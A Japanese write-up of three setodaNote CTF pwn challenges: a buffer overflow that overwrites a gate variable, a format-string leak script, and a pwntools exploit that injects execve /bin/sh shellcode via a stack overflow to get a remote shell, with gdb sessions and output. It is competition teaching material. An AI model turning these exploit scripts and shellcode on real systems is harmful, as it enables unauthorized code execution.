setodaNote CTF Exhibition Writeup (Pwn)
Pwn - tkys_let_die
瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。
以下の例のようにサーバにアクセスしてフラグを得てください。
nc nc.ctf.setodanote.net 26501
この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。
- Server: nc.ctf.setodanote.net
- Port: 26501
問題にはgate.c
とそのコンパイル結果と思われるgate
というファイルが添付されています。
gate.c
の内容は以下の通りです。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void printFlag(void) {
system("/bin/cat ./flag");
}
int main(void) {
char gate[6]="close";
char name[16]="..";
printf("\n");
printf(" {} {}\n");
printf(" ! ! ! II II ! ! !\n");
printf(" ! I__I__I_II II_I__I__I !\n");
printf(" I_/|__|__|_|| ||_|__|__|\\_I\n");
printf(" ! /|_/| | | || || | | |\\_|\\ !\n");
printf(" .--. I//| | | | || || | | | |\\\\I .--.\n");
printf(" /- \\ ! /|/ | | | | || || | | | | \\|\\ ! /= \\\n");
printf(" \\=__ / I//| | | | | || || | | | | |\\\\I \\-__ /\n");
printf(" } { ! /|/ | | | | | || || | | | | | \\|\\ ! } {\n");
printf(" {____} I//| | | | | | || || | | | | | |\\\\I {____}\n");
printf(" _!__!__|= |=/|/ | | | | | | || || | | | | | | \\|\\=| |__!__!_\n");
printf(" _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
printf(" | | | || | | | | | | | || || | | | | | | | || | | |\n");
printf(" | | |= || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||- | | |\n");
printf(" _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_\n");
printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
printf("\n");
printf("You'll need permission to pass. What's your name?\n> ");
scanf("%32[^\n]", name);
if (strcmp(gate,"open")==0) {
printFlag();
}else{
printf("Gate is %s.\n", gate);
printf("Goodbay %s.\n", name);
}
return 0;
}
このプログラムの流れは以下のようになっています。
- バッファ
gate
を6バイトとし、"close"
を格納します。 - バッファ
name
を16バイトとし、".."
を格納します。 - 「You'll need permission to pass. What's your name?」と標準出力します。
- 標準入力を最大32バイトまで受け取り、バッファ
name
に格納します。 - バッファ
gate
の値が"open"
の場合、/bin/cat ./flag
を実行します。それ以外の場合、「Gate is <gate
>.」「Goodbay <name
>.」と標準出力します。
つまり、gate
の値を"open"
にできればflagが表示されそうです。
ここで、バッファname
に着目します。
流れ4にて標準入力を最大32バイトまで受け取っていますが、流れ1によると16バイト分しか領域を確保していません。
よって、16バイト以上の文字を入力することでgate
の値を書き換えられそうです。
まずは、abcdefghijklmnopqrstuvwxyz01234
という値を入力してみます。
$ nc nc.ctf.setodanote.net 26501
{} {}
! ! ! II II ! ! !
! I__I__I_II II_I__I__I !
I_/|__|__|_|| ||_|__|__|\_I
! /|_/| | | || || | | |\_|\ !
.--. I//| | | | || || | | | |\\I .--.
/- \ ! /|/ | | | | || || | | | | \|\ ! /= \
\=__ / I//| | | | | || || | | | | |\\I \-__ /
} { ! /|/ | | | | | || || | | | | | \|\ ! } {
{____} I//| | | | | | || || | | | | | |\\I {____}
_!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_
_I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
-|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
| | | || | | | | | | | || || | | | | | | | || | | |
| | |= || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||- | | |
_|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
| | |- || | | | | | | | || || | | | | | | | ||= | | |
~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyz01234
Gate is 01234.
Goodbay abcdefghijklmnopqrstuvwxyz01234.
$
「Gate is 01234.」と表示されているので、abcdefghijklmnopqrstuvwxyzopen
と入力すればgate
の値を書き換えられそうです。
$ nc nc.ctf.setodanote.net 26501
{} {}
! ! ! II II ! ! !
! I__I__I_II II_I__I__I !
I_/|__|__|_|| ||_|__|__|\_I
! /|_/| | | || || | | |\_|\ !
.--. I//| | | | || || | | | |\\I .--.
/- \ ! /|/ | | | | || || | | | | \|\ ! /= \
\=__ / I//| | | | | || || | | | | |\\I \-__ /
} { ! /|/ | | | | | || || | | | | | \|\ ! } {
{____} I//| | | | | | || || | | | | | |\\I {____}
_!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_
_I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
-|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
| | | || | | | | | | | || || | | | | | | | || | | |
| | |= || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||- | | |
_|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
| | |- || | | | | | | | || || | | | | | | | ||= | | |
~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
You'll need permission to pass. What's your name?
> abcdefghijklmnopqrstuvwxyzopen
=============================
GREAT! GATE IS OPEN!!
>> Flag is flag{Alohomora} <<
*-*-*-*-*-*-*-*-*-*-*-*
=============================
$
正答:flag{Alohomora}
Pwn - 1989
脆弱性を調査し、フラグを入手してください。
nc nc.ctf.setodanote.net 26502
この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。
- Server: nc.ctf.setodanote.net
- Port: 26502
まず、サーバに接続してみます。
$ nc nc.ctf.setodanote.net 26502
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x5664c060] >> flag is here <<
|
Ready > yes
Your Inpur : yes
$
「CWE-134」と表示されていますが、これは外部から入力されたフォーマット指定子(%x
等)をそのまま解釈してprintf
系列の関数を実行してしまう脆弱性[1]です。
試しに%p%
と入力してみます。
$ nc nc.ctf.setodanote.net 26502
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x56580060] >> flag is here <<
|
Ready > %p
Your Inpur : 0xffbe6950
$
メモリアドレス0xffbe6950
が表示されたので、このプログラムには確かにCWE-134の脆弱性があります。
次に、入力値がスタックのどこにあるか確認します。
$ nc nc.ctf.setodanote.net 26502
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x56571060] >> flag is here <<
|
Ready > %p.%p.%p.%p
Your Inpur : 0xfff57260.0xfff57668.0x5656e306.0x252e7025
$
ここで、0x252e7025
をデコードすると%.p%
となります。
つまり、入力値はスタックの4番目に位置しています。
この特徴を利用し、「>> flag is here <<」の前に記載されているメモリアドレスを表示させます。
ただし、手動ではうまくペイロードを送信できないので、Pythonでコードを書いて実行します。
import socket
import re
import struct
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# サーバに接続
s.connect(("nc.ctf.setodanote.net", 26502))
# サーバから受信したデータ
data = s.recv(1024).decode()
print(data)
# flagのメモリアドレス
match = re.search(r"\[(0x[0-9a-f]+)\]", data)
flag_address = int(match.group(1), 16)
# サーバに送信するデータ
# struct.pack("<I", flag_address):リトルエンディアン形式のflag_address
# b"%4$s\n":スタックの4番目の内容
payload = struct.pack("<I", flag_address) + b"%4$s\n"
# サーバに送信
s.send(payload)
# サーバから受信したデータ
response = s.recv(1024).decode()
print(response)
$ python 1989.py
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x565c5060] >> flag is here <<
|
Ready >
Your Inpur : `P\Vflag{Homenum_Revelio_1989}
$
正答:flag{Homenum_Revelio_1989}
Pwn - Shellcode
添付されたファイルを解析し、サーバにアクセスしてフラグを入手してください。
nc nc.ctf.setodanote.net 26503
この設問では用意されたサーバにアクセスして答えます。接続先は以下の通りです。
- Server: nc.ctf.setodanote.net
- Port: 26503
問題にはshellcode
というファイルが添付されています。
まず、ファイルの種類を調べます。
$ file shellcode
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped
$
shellcode
はLinux上で実行可能なファイルのようです。
次に、実際にサーバに接続してみます。
$ nc nc.ctf.setodanote.net 26503
|
target | [0x7ffc400e9230]
|
Well. Ready for the shellcode?
> yes
yes
$
まだよく分からないので、Ghidraでshellcode
をデコンパイルし、関数main
を詳しく見てみます。
undefined8 main(void)
{
char local_58 [80];
setvbuf(stdout,local_58,2,0x50);
puts(" |");
printf("target | [%p]\n",local_58);
puts(" |");
printf("Well. Ready for the shellcode?\n> ");
__isoc99_scanf("%[^\n]",local_58);
puts(local_58);
return 0;
}
関数main
の処理の流れは以下の通りです。
- 80バイトのバッファ
local_58
を定義します。 - 標準出力するデータのバッファとして80(
0x50
)バイトのバッファlocal_58
を使用します。 - 「 |」を標準出力します。
- 「target | [<
local_58
のメモリアドレス>]」を標準出力します。 - 「 |」を標準出力します。
- 「Well. Ready for the shellcode?」を標準出力します。
- 標準入力をバッファ
local_58
に格納します。 -
local_58
の内容を標準出力します。
流れ1にてバッファlocal_58
は80バイトとして定義していますが、流れ7にて標準入力のサイズを確認していないため、バッファオーバーフローの脆弱性があると言えます。
この脆弱性を利用し、シェルコードを標準入力し、リターンアドレスをlocal_58
のメモリアドレスに書き換えることでシェルを取得します。
Pythonでコードを書く前にgdbを使ってリターンアドレスが格納されているメモリアドレスを把握しておきます。
- gdbを起動します。
$ gdb shellcode
GNU gdb (Debian 15.1-1) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from shellcode...
(No debugging symbols found in shellcode)
(gdb)
- 関数
main
のアセンブリコードを表示し、scanf
の呼び出しのオフセットが+121
(+0x79
)であることと、その直後の命令のオフセットが+126
(+0x7e
)であることを確認します。
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000001165 <+0>: push %rbp
0x0000000000001166 <+1>: mov %rsp,%rbp
0x0000000000001169 <+4>: sub $0x50,%rsp
0x000000000000116d <+8>: mov 0x2ed4(%rip),%rax # 0x4048 <stdout@GLIBC_2.2.5>
0x0000000000001174 <+15>: lea -0x50(%rbp),%rsi
0x0000000000001178 <+19>: mov $0x50,%ecx
0x000000000000117d <+24>: mov $0x2,%edx
0x0000000000001182 <+29>: mov %rax,%rdi
0x0000000000001185 <+32>: call 0x1050 <setvbuf@plt>
0x000000000000118a <+37>: lea 0xe77(%rip),%rdi # 0x2008
0x0000000000001191 <+44>: call 0x1030 <puts@plt>
0x0000000000001196 <+49>: lea -0x50(%rbp),%rax
0x000000000000119a <+53>: mov %rax,%rsi
0x000000000000119d <+56>: lea 0xe6d(%rip),%rdi # 0x2011
0x00000000000011a4 <+63>: mov $0x0,%eax
0x00000000000011a9 <+68>: call 0x1040 <printf@plt>
0x00000000000011ae <+73>: lea 0xe53(%rip),%rdi # 0x2008
0x00000000000011b5 <+80>: call 0x1030 <puts@plt>
0x00000000000011ba <+85>: lea 0xe5f(%rip),%rdi # 0x2020
0x00000000000011c1 <+92>: mov $0x0,%eax
0x00000000000011c6 <+97>: call 0x1040 <printf@plt>
0x00000000000011cb <+102>: lea -0x50(%rbp),%rax
0x00000000000011cf <+106>: mov %rax,%rsi
0x00000000000011d2 <+109>: lea 0xe69(%rip),%rdi # 0x2042
0x00000000000011d9 <+116>: mov $0x0,%eax
0x00000000000011de <+121>: call 0x1060 <__isoc99_scanf@plt>
0x00000000000011e3 <+126>: lea -0x50(%rbp),%rax
0x00000000000011e7 <+130>: mov %rax,%rdi
0x00000000000011ea <+133>: call 0x1030 <puts@plt>
0x00000000000011ef <+138>: mov $0x0,%eax
0x00000000000011f4 <+143>: leave
0x00000000000011f5 <+144>: ret
End of assembler dump.
(gdb)
-
scanf
の直前に1つ目のブレークポイントを設定します。
(gdb) break *main+0x79
Breakpoint 1 at 0x11de
(gdb)
-
scanf
の直後に2つ目のブレークポイントを設定します。
(gdb) break *main+0x7e
Breakpoint 2 at 0x5555555551e3
(gdb)
-
shellcode
をscanf
の直前まで実行します。
(gdb) run
Starting program: /mnt/CTF/setodaNote CTF Exhibition/Pwn/Shellcode/shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
target | [0x7fffffffdc20]
|
Well. Ready for the shellcode?
>
Breakpoint 1, 0x00005555555551de in main ()
(gdb)
- スタックフレームの情報を表示し、リターンアドレスが格納されているメモリアドレスが
0x7fffffffdc78
であることを確認します。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc80:
rip = 0x5555555551de in main; saved rip = 0x7ffff7de6dba
Arglist at 0x7fffffffdc70, args:
Locals at 0x7fffffffdc70, Previous frame's sp is 0x7fffffffdc80
Saved registers:
rbp at 0x7fffffffdc70, rip at 0x7fffffffdc78
(gdb)
- (6までで十分ですが、念のためリターンアドレスを書き換える様子も確認しておきます。)「target」として表示されているバッファ
local_58
のメインメモリアドレス0x7fffffffdc20
から24個分のメモリの内容を表示し、メモリアドレス0x7fffffffdc78
の位置に値0x7ffff7de6dba
があることを確認します。
(gdb) x/24x 0x7fffffffdc20
0x7fffffffdc20: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdc30: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdc40: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdc50: 0x00000000 0x00000000 0xf7fe45b0 0x00007fff
0x7fffffffdc60: 0xffffdd40 0x00007fff 0x00000000 0x00000000
0x7fffffffdc70: 0x00000001 0x00000000 0xf7de6dba 0x00007fff
(gdb)
-
shellcode
をscanf
の直後まで実行し、標準入力として「AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC」(A * 80個、B * 8個、C * 8個)を与えます。
(gdb) continue
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Breakpoint 2, 0x00005555555551e3 in main ()
(gdb)
- スタックフレームの情報を表示し、リターンアドレスの値が
0x7ffff7de6dba
から0x4343434343434343
(CCCCCCCC
)に書き換えられていることを確認します。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc80:
rip = 0x5555555551e3 in main; saved rip = 0x4343434343434343
Arglist at 0x7fffffffdc70, args:
Locals at 0x7fffffffdc70, Previous frame's sp is 0x7fffffffdc80
Saved registers:
rbp at 0x7fffffffdc70, rip at 0x7fffffffdc78
(gdb)
- メモリの内容を表示し、9と同様の内容を確認します。
(gdb) x/24x 0x7fffffffdc20
0x7fffffffdc20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc70: 0x42424242 0x42424242 0x43434343 0x43434343
(gdb)
「target」として表示されているバッファlocal_58
のメインメモリアドレスからリターンアドレスのメモリアドレスまで0x58
バイト(0x7fffffffdc78 - 0x7fffffffdc20
)ということが分かったので、あとはPythonでコードを書いていきます。
なお、Python標準ライブラリだけだと厳しかったので、今回はPwntoolsを使わせていただきました。
また、シェルコードはShell-Stormで公開されている「Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad」を使用しました。
import pwn
# シェルコード
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# ランタイムはfileコマンドの実行結果よりAMD64
pwn.context.arch = "amd64"
# サーバに接続
connection = pwn.remote("nc.ctf.setodanote.net", 26503)
# targetのメモリアドレスが表示されるまで読み込む
connection.recvuntil(b"target | [0x")
# targetのメモリアドレス(12バイト、16進数)
target = int(connection.read(12), 16)
# シェルコードが0x58バイトに満たない場合は0x90(No Operation命令)で穴埋めし、末尾にtargetのメモリアドレスを追加
payload = shellcode.ljust(0x58, b"\x90") + pwn.pack(target, endianness="little")
# 「> 」が表示されたらペイロードをサーバに送信
connection.sendlineafter(b"> ", payload)
# サーバとインタラクティブに通信
connection.interactive()
$ python shellcode.py
[←] Opening connection to nc.ctf.setodanote.net on port 26503: Trying 220.100[+] Opening connection to nc.ctf.setodanote.net on port 26503: Done
[*] Switching to interactive mode
1\xc0H\xbbѝ\x96\x91Ќ\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 r\xc5N\xfe\x7f$
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
$
正答:flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
Discussion